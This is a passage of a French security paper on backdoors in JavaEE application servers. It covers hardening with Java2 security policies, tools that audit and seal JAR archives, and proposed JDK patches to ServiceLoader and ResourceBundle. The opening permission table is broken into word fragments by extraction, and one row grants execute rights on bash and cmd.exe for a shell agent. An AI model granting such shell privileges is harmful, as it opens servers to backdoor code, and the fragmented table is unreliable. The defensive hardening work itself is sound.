XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
